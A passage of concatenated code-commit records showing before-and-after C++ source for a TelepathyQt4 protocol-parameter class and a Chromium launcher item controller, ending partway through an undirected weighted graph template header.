of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include <TelepathyQt4\/ProtocolParameter>\n\n#include <TelepathyQt4\/ManagerFile>\n\nnamespace Tp\n{\n\nstruct TELEPATHY_QT4_NO_EXPORT ProtocolParameter::Private : public QSharedData\n{\n Private(const QString &name, const QDBusSignature &dbusSignature, QVariant::Type type,\n const QVariant &defaultValue, ConnMgrParamFlag flags)\n : name(name), dbusSignature(dbusSignature), type(type), defaultValue(defaultValue),\n flags(flags) {}\n\n QString name;\n QDBusSignature dbusSignature;\n QVariant::Type type;\n QVariant defaultValue;\n ConnMgrParamFlag flags;\n};\n\nProtocolParameter::ProtocolParameter()\n{\n}\n\nProtocolParameter::ProtocolParameter(const QString &name,\n const QDBusSignature &dbusSignature,\n QVariant defaultValue,\n ConnMgrParamFlag flags)\n : mPriv(new Private(name, dbusSignature,\n ManagerFile::variantTypeFromDBusSignature(dbusSignature.signature()), defaultValue,\n flags))\n{\n}\n\nProtocolParameter::ProtocolParameter(const ProtocolParameter &other)\n : mPriv(other.mPriv)\n{\n}\n\nProtocolParameter::~ProtocolParameter()\n{\n}\n\nProtocolParameter &ProtocolParameter::operator=(const ProtocolParameter &other)\n{\n this->mPriv = other.mPriv;\n return *this;\n}\n\nbool ProtocolParameter::operator==(const ProtocolParameter &other) const\n{\n if (!isValid()) {\n return false;\n }\n\n return (mPriv->name == other.name());\n}\n\nbool ProtocolParameter::operator==(const QString &name) const\n{\n if (!isValid()) {\n return false;\n }\n\n return (mPriv->name == name);\n}\n\nQString ProtocolParameter::name() const\n{\n if (!isValid()) {\n return QString();\n }\n\n return mPriv->name;\n}\n\nQDBusSignature ProtocolParameter::dbusSignature() const\n{\n if (!isValid()) {\n return QDBusSignature();\n }\n\n return mPriv->dbusSignature;\n}\n\nQVariant::Type ProtocolParameter::type() const\n{\n if (!isValid()) {\n return QVariant::Invalid;\n }\n\n return mPriv->type;\n}\n\nQVariant ProtocolParameter::defaultValue() const\n{\n if (!isValid()) {\n return QVariant();\n }\n\n return mPriv->defaultValue;\n}\n\nbool ProtocolParameter::isRequired() const\n{\n if (!isValid()) {\n return false;\n }\n\n return mPriv->flags & ConnMgrParamFlagRequired;\n}\n\nbool ProtocolParameter::isSecret() const\n{\n if (!isValid()) {\n return false;\n }\n\n return mPriv->flags & ConnMgrParamFlagSecret;\n}\n\nbool ProtocolParameter::isRequiredForRegistration() const\n{\n if (!isValid()) {\n return false;\n }\n\n return mPriv->flags & ConnMgrParamFlagRegister;\n}\n\n} \/\/ Tp\n<commit_msg>ProtocolParameter: Return true in operator== if both instances are invalid and false if only one of them is.<commit_after>\/*\n * This file is part of TelepathyQt4\n *\n * Copyright (C) 2010 Collabora Ltd. <http:\/\/www.collabora.co.uk\/>\n * Copyright (C) 2010 Nokia Corporation\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include <TelepathyQt4\/ProtocolParameter>\n\n#include <TelepathyQt4\/ManagerFile>\n\nnamespace Tp\n{\n\nstruct TELEPATHY_QT4_NO_EXPORT ProtocolParameter::Private : public QSharedData\n{\n Private(const QString &name, const QDBusSignature &dbusSignature, QVariant::Type type,\n const QVariant &defaultValue, ConnMgrParamFlag flags)\n : name(name), dbusSignature(dbusSignature), type(type), defaultValue(defaultValue),\n flags(flags) {}\n\n QString name;\n QDBusSignature dbusSignature;\n QVariant::Type type;\n QVariant defaultValue;\n ConnMgrParamFlag flags;\n};\n\nProtocolParameter::ProtocolParameter()\n{\n}\n\nProtocolParameter::ProtocolParameter(const QString &name,\n const QDBusSignature &dbusSignature,\n QVariant defaultValue,\n ConnMgrParamFlag flags)\n : mPriv(new Private(name, dbusSignature,\n ManagerFile::variantTypeFromDBusSignature(dbusSignature.signature()), defaultValue,\n flags))\n{\n}\n\nProtocolParameter::ProtocolParameter(const ProtocolParameter &other)\n : mPriv(other.mPriv)\n{\n}\n\nProtocolParameter::~ProtocolParameter()\n{\n}\n\nProtocolParameter &ProtocolParameter::operator=(const ProtocolParameter &other)\n{\n this->mPriv = other.mPriv;\n return *this;\n}\n\nbool ProtocolParameter::operator==(const ProtocolParameter &other) const\n{\n if (!isValid() || !other.isValid()) {\n if (!isValid() && !other.isValid()) {\n return true;\n }\n return false;\n }\n\n return (mPriv->name == other.name());\n}\n\nbool ProtocolParameter::operator==(const QString &name) const\n{\n if (!isValid()) {\n return false;\n }\n\n return (mPriv->name == name);\n}\n\nQString ProtocolParameter::name() const\n{\n if (!isValid()) {\n return QString();\n }\n\n return mPriv->name;\n}\n\nQDBusSignature ProtocolParameter::dbusSignature() const\n{\n if (!isValid()) {\n return QDBusSignature();\n }\n\n return mPriv->dbusSignature;\n}\n\nQVariant::Type ProtocolParameter::type() const\n{\n if (!isValid()) {\n return QVariant::Invalid;\n }\n\n return mPriv->type;\n}\n\nQVariant ProtocolParameter::defaultValue() const\n{\n if (!isValid()) {\n return QVariant();\n }\n\n return mPriv->defaultValue;\n}\n\nbool ProtocolParameter::isRequired() const\n{\n if (!isValid()) {\n return false;\n }\n\n return mPriv->flags & ConnMgrParamFlagRequired;\n}\n\nbool ProtocolParameter::isSecret() const\n{\n if (!isValid()) {\n return false;\n }\n\n return mPriv->flags & ConnMgrParamFlagSecret;\n}\n\nbool ProtocolParameter::isRequiredForRegistration() const\n{\n if (!isValid()) {\n return false;\n }\n\n return mPriv->flags & ConnMgrParamFlagRegister;\n}\n\n} \/\/ Tp\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ui\/ash\/launcher\/browser_launcher_item_controller.h\"\n\n#include \"ash\/launcher\/launcher.h\"\n#include \"ash\/launcher\/launcher_model.h\"\n#include \"ash\/shell.h\"\n#include \"ash\/wm\/window_util.h\"\n#include \"chrome\/browser\/extensions\/extension_service.h\"\n#include \"chrome\/browser\/extensions\/tab_helper.h\"\n#include \"chrome\/browser\/favicon\/favicon_tab_helper.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/ui\/ash\/launcher\/chrome_launcher_controller.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/browser\/ui\/browser_window.h\"\n#include \"chrome\/browser\/ui\/tab_contents\/tab_contents.h\"\n#include \"chrome\/browser\/ui\/tabs\/tab_strip_model.h\"\n#include \"chrome\/browser\/web_applications\/web_app.h\"\n#include \"content\/public\/browser\/web_contents.h\"\n#include \"grit\/ui_resources.h\"\n#include \"ui\/aura\/client\/aura_constants.h\"\n#include \"ui\/aura\/window.h\"\n#include \"ui\/base\/resource\/resource_bundle.h\"\n#include \"ui\/views\/widget\/widget.h\"\n\nusing extensions::Extension;\n\nBrowserLauncherItemController::BrowserLauncherItemController(\n Type type,\n aura::Window* window,\n TabStripModel* tab_model,\n ChromeLauncherController* launcher_controller,\n const std::string& app_id)\n : LauncherItemController(type, app_id, launcher_controller),\n window_(window),\n tab_model_(tab_model),\n is_incognito_(tab_model->profile()->GetOriginalProfile() !=\n tab_model->profile() && !Profile::IsGuestSession()) {\n DCHECK(window_);\n window_->AddObserver(this);\n}\n\nBrowserLauncherItemController::~BrowserLauncherItemController() {\n tab_model_->RemoveObserver(this);\n window_->RemoveObserver(this);\n if (launcher_id() > 0)\n launcher_controller()->CloseLauncherItem(launcher_id());\n}\n\nvoid BrowserLauncherItemController::Init() {\n tab_model_->AddObserver(this);\n ash::LauncherItemStatus app_status =\n ash::wm::IsActiveWindow(window_) ?\n ash::STATUS_ACTIVE : ash::STATUS_RUNNING;\n if (type() != TYPE_TABBED) {\n launcher_controller()->CreateAppLauncherItem(this, app_id(), app_status);\n } else {\n launcher_controller()->CreateTabbedLauncherItem(\n this,\n is_incognito_ ? ChromeLauncherController::STATE_INCOGNITO :\n ChromeLauncherController::STATE_NOT_INCOGNITO,\n app_status);\n }\n \/\/ In testing scenarios we can get tab strips with no active contents.\n if (tab_model_->GetActiveTabContents())\n UpdateLauncher(tab_model_->GetActiveTabContents());\n}\n\n\/\/ static\nBrowserLauncherItemController* BrowserLauncherItemController::Create(\n Browser* browser) {\n \/\/ Under testing this can be called before the controller is created.\n if (!ChromeLauncherController::instance())\n return NULL;\n\n Type type;\n std::string app_id;\n if (browser->is_type_tabbed() || browser->is_type_popup()) {\n type = TYPE_TABBED;\n } else if (browser->is_app()) {\n if (browser->is_type_panel()) {\n if (browser->app_type() == Browser::APP_TYPE_CHILD)\n type = TYPE_EXTENSION_PANEL;\n else\n type = TYPE_APP_PANEL;\n } else {\n type = TYPE_TABBED;\n }\n app_id = web_app::GetExtensionIdFromApplicationName(browser->app_name());\n } else {\n return NULL;\n }\n BrowserLauncherItemController* controller =\n new BrowserLauncherItemController(type,\n browser->window()->GetNativeWindow(),\n browser->tab_strip_model(),\n ChromeLauncherController::instance(),\n app_id);\n controller->Init();\n return controller;\n}\n\nvoid BrowserLauncherItemController::BrowserActivationStateChanged() {\n if (tab_model_->GetActiveTabContents())\n UpdateAppState(tab_model_->GetActiveTabContents());\n UpdateItemStatus();\n}\n\nstring16 BrowserLauncherItemController::GetTitle() {\n if (type() == TYPE_TABBED || type() == TYPE_EXTENSION_PANEL) {\n if (tab_model_->GetActiveTabContents()) {\n const content::WebContents* contents =\n tab_model_->GetActiveTabContents()->web_contents();\n if (contents)\n return contents->GetTitle();\n }\n }\n return GetAppTitle();\n}\n\nbool BrowserLauncherItemController::HasWindow(aura::Window* window) const {\n return window_ == window;\n}\n\nbool BrowserLauncherItemController::IsOpen() const {\n return true;\n}\n\nvoid BrowserLauncherItemController::Launch(int event_flags) {\n DCHECK(!app_id().empty());\n launcher_controller()->LaunchApp(app_id(), event_flags);\n}\n\nvoid BrowserLauncherItemController::Activate() {\n window_->Show();\n ash::wm::ActivateWindow(window_);\n}\n\nvoid BrowserLauncherItemController::Close() {\n views::Widget* widget = views::Widget::GetWidgetForNativeView(window_);\n if (widget)\n widget->Close();\n}\n\nvoid BrowserLauncherItemController::Clicked() {\n views::Widget* widget =\n views::Widget::GetWidgetForNativeView(window_);\n if (widget && widget->IsActive()) {\n widget->Minimize();\n } else {\n Activate();\n }\n}\n\nvoid BrowserLauncherItemController::OnRemoved() {\n}\n\nvoid BrowserLauncherItemController::LauncherItemChanged(\n int index,\n const ash::LauncherItem& old_item) {\n if (launcher_model()->items()[index].status == ash::STATUS_ACTIVE &&\n old_item.status == ash::STATUS_RUNNING) {\n Activate();\n }\n}\n\nvoid BrowserLauncherItemController::ActiveTabChanged(\n TabContents* old_contents,\n TabContents* new_contents,\n int index,\n bool user_gesture) {\n \/\/ Update immediately on a tab change.\n if (old_contents)\n UpdateAppState(old_contents);\n UpdateAppState(new_contents);\n UpdateLauncher(new_contents);\n}\n\nvoid BrowserLauncherItemController::TabInsertedAt(TabContents* contents,\n int index,\n bool foreground) {\n UpdateAppState(contents);\n}\n\nvoid BrowserLauncherItemController::TabDetachedAt(TabContents* contents,\n int index) {\n launcher_controller()->UpdateAppState(\n contents, ChromeLauncherController::APP_STATE_REMOVED);\n}\n\nvoid BrowserLauncherItemController::TabChangedAt(\n TabContents* tab,\n int index,\n TabStripModelObserver::TabChangeType change_type) {\n UpdateAppState(tab);\n if (index != tab_model_->active_index() ||\n !(change_type != TabStripModelObserver::LOADING_ONLY &&\n change_type != TabStripModelObserver::TITLE_NOT_LOADING)) {\n return;\n }\n\n FaviconTabHelper* favicon_tab_helper =\n FaviconTabHelper::FromWebContents(tab->web_contents());\n if (favicon_tab_helper->FaviconIsValid() ||\n !favicon_tab_helper->ShouldDisplayFavicon()) {\n \/\/ We have the favicon, update immediately.\n UpdateLauncher(tab);\n } else {\n int item_index = launcher_model()->ItemIndexByID(launcher_id());\n if (item_index == -1)\n return;\n ash::LauncherItem item = launcher_model()->items()[item_index];\n item.image = gfx::ImageSkia();\n launcher_model()->Set(item_index, item);\n }\n}\n\nvoid BrowserLauncherItemController::TabReplacedAt(\n TabStripModel* tab_strip_model,\n TabContents* old_contents,\n TabContents* new_contents,\n int index) {\n launcher_controller()->UpdateAppState(\n old_contents, ChromeLauncherController::APP_STATE_REMOVED);\n UpdateAppState(new_contents);\n}\n\nvoid BrowserLauncherItemController::FaviconUpdated() {\n UpdateLauncher(tab_model_->GetActiveTabContents());\n}\n\nvoid BrowserLauncherItemController::OnWindowPropertyChanged(\n aura::Window* window,\n const void* key,\n intptr_t old) {\n if (key == aura::client::kDrawAttentionKey)\n UpdateItemStatus();\n}\n\nvoid BrowserLauncherItemController::UpdateItemStatus() {\n ash::LauncherItemStatus status;\n if (ash::wm::IsActiveWindow(window_)) {\n \/\/ Clear attention state if active.\n if (window_->GetProperty(aura::client::kDrawAttentionKey))\n window_->SetProperty(aura::client::kDrawAttentionKey, false);\n status = ash::STATUS_ACTIVE;\n } else if (window_->GetProperty(aura::client::kDrawAttentionKey)) {\n status = ash::STATUS_ATTENTION;\n } else {\n status = ash::STATUS_RUNNING;\n }\n launcher_controller()->SetItemStatus(launcher_id(), status);\n}\n\nvoid BrowserLauncherItemController::UpdateLauncher(TabContents* tab) {\n if (type() == TYPE_APP_PANEL)\n return; \/\/ Maintained entirely by ChromeLauncherController.\n\n if (!tab)\n return; \/\/ Assume the window is going to be closed if there are no tabs.\n\n int item_index = launcher_model()->ItemIndexByID(launcher_id());\n if (item_index == -1)\n return;\n\n ash::LauncherItem item = launcher_model()->items()[item_index];\n if (type() == TYPE_EXTENSION_PANEL) {\n if (!favicon_loader_.get() ||\n favicon_loader_->web_contents() != tab->web_contents()) {\n favicon_loader_.reset(\n new LauncherFaviconLoader(this, tab->web_contents()));\n }\n \/\/ Update the icon for extension panels.\n extensions::TabHelper* extensions_tab_helper =\n extensions::TabHelper::FromWebContents(tab->web_contents());\n gfx::ImageSkia new_image = gfx::ImageSkia(favicon_loader_->GetFavicon());\n if (new_image.isNull() && extensions_tab_helper->GetExtensionAppIcon())\n new_image = gfx::ImageSkia(*extensions_tab_helper->GetExtensionAppIcon());\n \/\/ Only update the icon if we have a new image, or none has been set yet.\n \/\/ This avoids flickering to an empty image when a pinned app is opened.\n if (!new_image.isNull())\n item.image = new_image;\n else if (item.image.isNull())\n item.image = extensions::Extension::GetDefaultIcon(true);\n } else {\n DCHECK_EQ(TYPE_TABBED, type());\n ui::ResourceBundle& rb = ui::ResourceBundle::GetSharedInstance();\n FaviconTabHelper* favicon_tab_helper =\n FaviconTabHelper::FromWebContents(tab->web_contents());\n if (favicon_tab_helper->ShouldDisplayFavicon()) {\n item.image = favicon_tab_helper->GetFavicon().AsImageSkia();\n if (item.image.isNull()) {\n item.image = *rb.GetImageSkiaNamed(IDR_DEFAULT_FAVICON);\n }\n } else {\n item.image = *rb.GetImageSkiaNamed(IDR_DEFAULT_FAVICON);\n }\n }\n launcher_model()->Set(item_index, item);\n}\n\nvoid BrowserLauncherItemController::UpdateAppState(TabContents* tab) {\n ChromeLauncherController::AppState app_state;\n\n if (tab_model_->GetIndexOfTabContents(tab) == TabStripModel::kNoTab) {\n app_state = ChromeLauncherController::APP_STATE_REMOVED;\n } else if (tab_model_->GetActiveTabContents() == tab) {\n if (ash::wm::IsActiveWindow(window_))\n app_state = ChromeLauncherController::APP_STATE_WINDOW_ACTIVE;\n else\n app_state = ChromeLauncherController::APP_STATE_ACTIVE;\n } else {\n app_state = ChromeLauncherController::APP_STATE_INACTIVE;\n }\n launcher_controller()->UpdateAppState(tab, app_state);\n}\n\nash::LauncherModel* BrowserLauncherItemController::launcher_model() {\n return launcher_controller()->model();\n}\n<commit_msg>USE DEFAULT_FAVICON instead of NULL Image<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ui\/ash\/launcher\/browser_launcher_item_controller.h\"\n\n#include \"ash\/launcher\/launcher.h\"\n#include \"ash\/launcher\/launcher_model.h\"\n#include \"ash\/shell.h\"\n#include \"ash\/wm\/window_util.h\"\n#include \"chrome\/browser\/extensions\/extension_service.h\"\n#include \"chrome\/browser\/extensions\/tab_helper.h\"\n#include \"chrome\/browser\/favicon\/favicon_tab_helper.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/ui\/ash\/launcher\/chrome_launcher_controller.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/browser\/ui\/browser_window.h\"\n#include \"chrome\/browser\/ui\/tab_contents\/tab_contents.h\"\n#include \"chrome\/browser\/ui\/tabs\/tab_strip_model.h\"\n#include \"chrome\/browser\/web_applications\/web_app.h\"\n#include \"content\/public\/browser\/web_contents.h\"\n#include \"grit\/ui_resources.h\"\n#include \"ui\/aura\/client\/aura_constants.h\"\n#include \"ui\/aura\/window.h\"\n#include \"ui\/base\/resource\/resource_bundle.h\"\n#include \"ui\/views\/widget\/widget.h\"\n\nusing extensions::Extension;\n\nBrowserLauncherItemController::BrowserLauncherItemController(\n Type type,\n aura::Window* window,\n TabStripModel* tab_model,\n ChromeLauncherController* launcher_controller,\n const std::string& app_id)\n : LauncherItemController(type, app_id, launcher_controller),\n window_(window),\n tab_model_(tab_model),\n is_incognito_(tab_model->profile()->GetOriginalProfile() !=\n tab_model->profile() && !Profile::IsGuestSession()) {\n DCHECK(window_);\n window_->AddObserver(this);\n}\n\nBrowserLauncherItemController::~BrowserLauncherItemController() {\n tab_model_->RemoveObserver(this);\n window_->RemoveObserver(this);\n if (launcher_id() > 0)\n launcher_controller()->CloseLauncherItem(launcher_id());\n}\n\nvoid BrowserLauncherItemController::Init() {\n tab_model_->AddObserver(this);\n ash::LauncherItemStatus app_status =\n ash::wm::IsActiveWindow(window_) ?\n ash::STATUS_ACTIVE : ash::STATUS_RUNNING;\n if (type() != TYPE_TABBED) {\n launcher_controller()->CreateAppLauncherItem(this, app_id(), app_status);\n } else {\n launcher_controller()->CreateTabbedLauncherItem(\n this,\n is_incognito_ ? ChromeLauncherController::STATE_INCOGNITO :\n ChromeLauncherController::STATE_NOT_INCOGNITO,\n app_status);\n }\n \/\/ In testing scenarios we can get tab strips with no active contents.\n if (tab_model_->GetActiveTabContents())\n UpdateLauncher(tab_model_->GetActiveTabContents());\n}\n\n\/\/ static\nBrowserLauncherItemController* BrowserLauncherItemController::Create(\n Browser* browser) {\n \/\/ Under testing this can be called before the controller is created.\n if (!ChromeLauncherController::instance())\n return NULL;\n\n Type type;\n std::string app_id;\n if (browser->is_type_tabbed() || browser->is_type_popup()) {\n type = TYPE_TABBED;\n } else if (browser->is_app()) {\n if (browser->is_type_panel()) {\n if (browser->app_type() == Browser::APP_TYPE_CHILD)\n type = TYPE_EXTENSION_PANEL;\n else\n type = TYPE_APP_PANEL;\n } else {\n type = TYPE_TABBED;\n }\n app_id = web_app::GetExtensionIdFromApplicationName(browser->app_name());\n } else {\n return NULL;\n }\n BrowserLauncherItemController* controller =\n new BrowserLauncherItemController(type,\n browser->window()->GetNativeWindow(),\n browser->tab_strip_model(),\n ChromeLauncherController::instance(),\n app_id);\n controller->Init();\n return controller;\n}\n\nvoid BrowserLauncherItemController::BrowserActivationStateChanged() {\n if (tab_model_->GetActiveTabContents())\n UpdateAppState(tab_model_->GetActiveTabContents());\n UpdateItemStatus();\n}\n\nstring16 BrowserLauncherItemController::GetTitle() {\n if (type() == TYPE_TABBED || type() == TYPE_EXTENSION_PANEL) {\n if (tab_model_->GetActiveTabContents()) {\n const content::WebContents* contents =\n tab_model_->GetActiveTabContents()->web_contents();\n if (contents)\n return contents->GetTitle();\n }\n }\n return GetAppTitle();\n}\n\nbool BrowserLauncherItemController::HasWindow(aura::Window* window) const {\n return window_ == window;\n}\n\nbool BrowserLauncherItemController::IsOpen() const {\n return true;\n}\n\nvoid BrowserLauncherItemController::Launch(int event_flags) {\n DCHECK(!app_id().empty());\n launcher_controller()->LaunchApp(app_id(), event_flags);\n}\n\nvoid BrowserLauncherItemController::Activate() {\n window_->Show();\n ash::wm::ActivateWindow(window_);\n}\n\nvoid BrowserLauncherItemController::Close() {\n views::Widget* widget = views::Widget::GetWidgetForNativeView(window_);\n if (widget)\n widget->Close();\n}\n\nvoid BrowserLauncherItemController::Clicked() {\n views::Widget* widget =\n views::Widget::GetWidgetForNativeView(window_);\n if (widget && widget->IsActive()) {\n widget->Minimize();\n } else {\n Activate();\n }\n}\n\nvoid BrowserLauncherItemController::OnRemoved() {\n}\n\nvoid BrowserLauncherItemController::LauncherItemChanged(\n int index,\n const ash::LauncherItem& old_item) {\n if (launcher_model()->items()[index].status == ash::STATUS_ACTIVE &&\n old_item.status == ash::STATUS_RUNNING) {\n Activate();\n }\n}\n\nvoid BrowserLauncherItemController::ActiveTabChanged(\n TabContents* old_contents,\n TabContents* new_contents,\n int index,\n bool user_gesture) {\n \/\/ Update immediately on a tab change.\n if (old_contents)\n UpdateAppState(old_contents);\n UpdateAppState(new_contents);\n UpdateLauncher(new_contents);\n}\n\nvoid BrowserLauncherItemController::TabInsertedAt(TabContents* contents,\n int index,\n bool foreground) {\n UpdateAppState(contents);\n}\n\nvoid BrowserLauncherItemController::TabDetachedAt(TabContents* contents,\n int index) {\n launcher_controller()->UpdateAppState(\n contents, ChromeLauncherController::APP_STATE_REMOVED);\n}\n\nvoid BrowserLauncherItemController::TabChangedAt(\n TabContents* tab,\n int index,\n TabStripModelObserver::TabChangeType change_type) {\n UpdateAppState(tab);\n if (index != tab_model_->active_index() ||\n !(change_type != TabStripModelObserver::LOADING_ONLY &&\n change_type != TabStripModelObserver::TITLE_NOT_LOADING)) {\n return;\n }\n\n UpdateLauncher(tab);\n}\n\nvoid BrowserLauncherItemController::TabReplacedAt(\n TabStripModel* tab_strip_model,\n TabContents* old_contents,\n TabContents* new_contents,\n int index) {\n launcher_controller()->UpdateAppState(\n old_contents, ChromeLauncherController::APP_STATE_REMOVED);\n UpdateAppState(new_contents);\n}\n\nvoid BrowserLauncherItemController::FaviconUpdated() {\n UpdateLauncher(tab_model_->GetActiveTabContents());\n}\n\nvoid BrowserLauncherItemController::OnWindowPropertyChanged(\n aura::Window* window,\n const void* key,\n intptr_t old) {\n if (key == aura::client::kDrawAttentionKey)\n UpdateItemStatus();\n}\n\nvoid BrowserLauncherItemController::UpdateItemStatus() {\n ash::LauncherItemStatus status;\n if (ash::wm::IsActiveWindow(window_)) {\n \/\/ Clear attention state if active.\n if (window_->GetProperty(aura::client::kDrawAttentionKey))\n window_->SetProperty(aura::client::kDrawAttentionKey, false);\n status = ash::STATUS_ACTIVE;\n } else if (window_->GetProperty(aura::client::kDrawAttentionKey)) {\n status = ash::STATUS_ATTENTION;\n } else {\n status = ash::STATUS_RUNNING;\n }\n launcher_controller()->SetItemStatus(launcher_id(), status);\n}\n\nvoid BrowserLauncherItemController::UpdateLauncher(TabContents* tab) {\n if (type() == TYPE_APP_PANEL)\n return; \/\/ Maintained entirely by ChromeLauncherController.\n\n if (!tab)\n return; \/\/ Assume the window is going to be closed if there are no tabs.\n\n int item_index = launcher_model()->ItemIndexByID(launcher_id());\n if (item_index == -1)\n return;\n\n ash::LauncherItem item = launcher_model()->items()[item_index];\n if (type() == TYPE_EXTENSION_PANEL) {\n if (!favicon_loader_.get() ||\n favicon_loader_->web_contents() != tab->web_contents()) {\n favicon_loader_.reset(\n new LauncherFaviconLoader(this, tab->web_contents()));\n }\n \/\/ Update the icon for extension panels.\n extensions::TabHelper* extensions_tab_helper =\n extensions::TabHelper::FromWebContents(tab->web_contents());\n gfx::ImageSkia new_image = gfx::ImageSkia(favicon_loader_->GetFavicon());\n if (new_image.isNull() && extensions_tab_helper->GetExtensionAppIcon())\n new_image = gfx::ImageSkia(*extensions_tab_helper->GetExtensionAppIcon());\n \/\/ Only update the icon if we have a new image, or none has been set yet.\n \/\/ This avoids flickering to an empty image when a pinned app is opened.\n if (!new_image.isNull())\n item.image = new_image;\n else if (item.image.isNull())\n item.image = extensions::Extension::GetDefaultIcon(true);\n } else {\n DCHECK_EQ(TYPE_TABBED, type());\n ui::ResourceBundle& rb = ui::ResourceBundle::GetSharedInstance();\n FaviconTabHelper* favicon_tab_helper =\n FaviconTabHelper::FromWebContents(tab->web_contents());\n if (favicon_tab_helper->ShouldDisplayFavicon()) {\n item.image = favicon_tab_helper->GetFavicon().AsImageSkia();\n if (item.image.isNull()) {\n item.image = *rb.GetImageSkiaNamed(IDR_DEFAULT_FAVICON);\n }\n } else {\n item.image = *rb.GetImageSkiaNamed(IDR_DEFAULT_FAVICON);\n }\n }\n launcher_model()->Set(item_index, item);\n}\n\nvoid BrowserLauncherItemController::UpdateAppState(TabContents* tab) {\n ChromeLauncherController::AppState app_state;\n\n if (tab_model_->GetIndexOfTabContents(tab) == TabStripModel::kNoTab) {\n app_state = ChromeLauncherController::APP_STATE_REMOVED;\n } else if (tab_model_->GetActiveTabContents() == tab) {\n if (ash::wm::IsActiveWindow(window_))\n app_state = ChromeLauncherController::APP_STATE_WINDOW_ACTIVE;\n else\n app_state = ChromeLauncherController::APP_STATE_ACTIVE;\n } else {\n app_state = ChromeLauncherController::APP_STATE_INACTIVE;\n }\n launcher_controller()->UpdateAppState(tab, app_state);\n}\n\nash::LauncherModel* BrowserLauncherItemController::launcher_model() {\n return launcher_controller()->model();\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n *\n * Graph\n *\n * Undirected, weighted graph\n * https:\/\/github.com\/kdzlvaids\/algorithm_and_practice-pknu-2016\n *\n *\/\n\n#ifndef ALGORITHM_GRAPH_HPP_\n#define ALGORITHM_GRAPH_HPP_ 1\n\n\/** Includes *\/\n#include <cstddef> \/** size_t definition *\/\n#include <vector> \/** Containers *\/\n#include <map> \/** Containers *\/\n\nnamespace algorithm\n{\n\n\/** Undirected, weighted graph class\n\n \\note Vertex deletion is not implemented\n \\note Edge deletion is not implemented\n \\note Cannot use double as WeightType\n*\/\ntemplate<\n class ValueType, \/**< Vertex value type; operator== should be defined *\/\n class WeightType = unsigned int, \/**< Weight type *\/\n WeightType WeightDefaultValue = 0 \/**< Default value of weight *\/\n>\nclass Graph\n{\npublic:\n typedef size_t SizeType;\n typedef std::map<const KeyType, WeightType> EdgeType; \/**< Edges of vertex\n \\param KeyType key_dest\n \\param WeightType weight\n *\/\n\n \/** Test if two keys are equal\n\n \\return Return true if two keys are equal; otherwise return false\n \\param[in] key_first First key to compare\n \\param[in] key_second Second key to compare\n *\/\n bool\n IsKeyEqual(const KeyType & key_first, const KeyType & key_second)\n const\n { return key_first == key_second; }\n\n \/** Vertex class\n\n Each vertex has an array for its edges as a member.\n *\/\n struct VertexNode\n {\n const KeyType key; \/**< Key of vertex; same with index in graph_ *\/\n ValueType value; \/**< Value of vertex *\/\n EdgeType edges;\n \/\/SizeType edges_size; \/**< Count of edges; forward_list not support size() function *\/\n\n \/** Constructor *\/\n VertexNode(const KeyType & key, const ValueType & value)\n : key(key)\n , value(value)\n { }\n\n \/** Test if two values are equal\n\n \\return Return true if two values are equal; otherwise return false\n \\param[in] value Value to compare\n *\/\n bool\n IsValueEqual(const ValueType & value)\n const\n { return this->value == value; }\n };\n\nprivate:\n std::vector<VertexNode> graph_; \/**< Graph *\/\n\npublic:\n \/** Test whether there is an edge from the vertices src to dest\n\n \\return Return true if the edge exists; otherwise return false\n \\param[in] key_src Key of source (src)\n \\param[in] key_dest Key of destination (dest)\n *\/\n bool\n Adjacent(const KeyType & key_src, const KeyType & key_dest)\n {\n for(auto & edge : graph_.at(key_src)->edges)\n {\n if(IsKeyEqual(edge.first, key_dest) == true) \/** Found *\/\n return true;\n }\n\n return false; \/** Not found *\/\n }\n\n \/** Add a vertex, if a graph not have the vertex with specified value already\n\n \\return Return the key of vertex if added successfully; otherwise return -1\n \\param[in] value_of_vertex Value of vertex\n *\/\n KeyType\n AddVertex(const ValueType & value_of_vertex)\n {\n KeyType key_of_vertex = GetVertexKey(value_of_vertex);\n\n if(key_of_vertex == GetVertexCount()) \/** Not found *\/\n graph_.push_back(VertexNode(key_of_vertex, value_of_vertex));\n\n return key_of_vertex;\n }\n\n \/** Add an edge to connect two vertices\n\n \\param[in] key_src Key of source (src)\n \\param[in] key_dest Key of destination (dest)\n \\param[in] weight Weight of the edge\n *\/\n void\n AddEdge(const KeyType & key_src, const KeyType & key_dest, const WeightType & weight = WeightDefaultValue)\n {\n graph_.at(key_src).edges.insert(\n std::make_pair<const KeyType, WeightType> (KeyType(key_dest), WeightType(weight))\n );\n }\n\n \/** Get a key of the vertex with specified value from a graph\n\n If failed to add, return the size of graph which is an invalid key (maximum key + 1).\n\n \\return Return the key of vertex if added successfully; otherwise return the size of graph\n \\param[in] value_of_vertex Value of vertex\n *\/\n KeyType\n 